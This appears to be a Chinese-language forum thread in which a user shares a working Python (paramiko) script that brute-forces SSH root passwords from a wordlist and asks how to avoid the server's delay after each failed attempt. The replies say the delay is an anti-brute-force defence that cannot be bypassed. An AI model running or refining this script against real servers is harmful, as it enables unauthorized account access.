我目前正在用 python 编写我的第一个暴力脚本,但遇到了问题。 当我尝试使用错误密码连接到 ssh 服务器时,大约需要 2 秒才会失败。 当我尝试使用真实密码连接到 ssh 服务器时,它会立即接受它。 所以问题是,当我暴力破解我的测试 ssh 服务器时,需要 2 秒来验证每个密码...我怎样才能减少这个超大的应答时间?
import paramiko;
import socket;
import time;
check = time.time();
s = paramiko.SSHClient();
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.load_system_host_keys();
host = input("Please enter the host IP: ");
with open(input("Please enter the password file: "), "r") as passwdFile:
for line in passwdFile:
password = line.strip("\r\n");
try:
s.connect(host, port=22, username="root", password=str(password), timeout=1, allow_agent=False, look_for_keys=False);
print();
print(" ************************* ");
print("The correct password is : " + password);
print(" ************************* ");
exit(0);
except paramiko.AuthenticationException as e:
print(" [!] Incorrect password: " + password + " [" + str(time.time() - check) + "s]");
except socket.error as e:
print(str(e));
check = time.time();
你不能。这是通过服务器配置设置的,其目的是专门为了对抗您尝试进行的 SSH 暴力攻击。
这有点达尔文式的讽刺——这种方法适用的服务器并不存在,因为它们一暴露在公共交通中就被活活吃掉了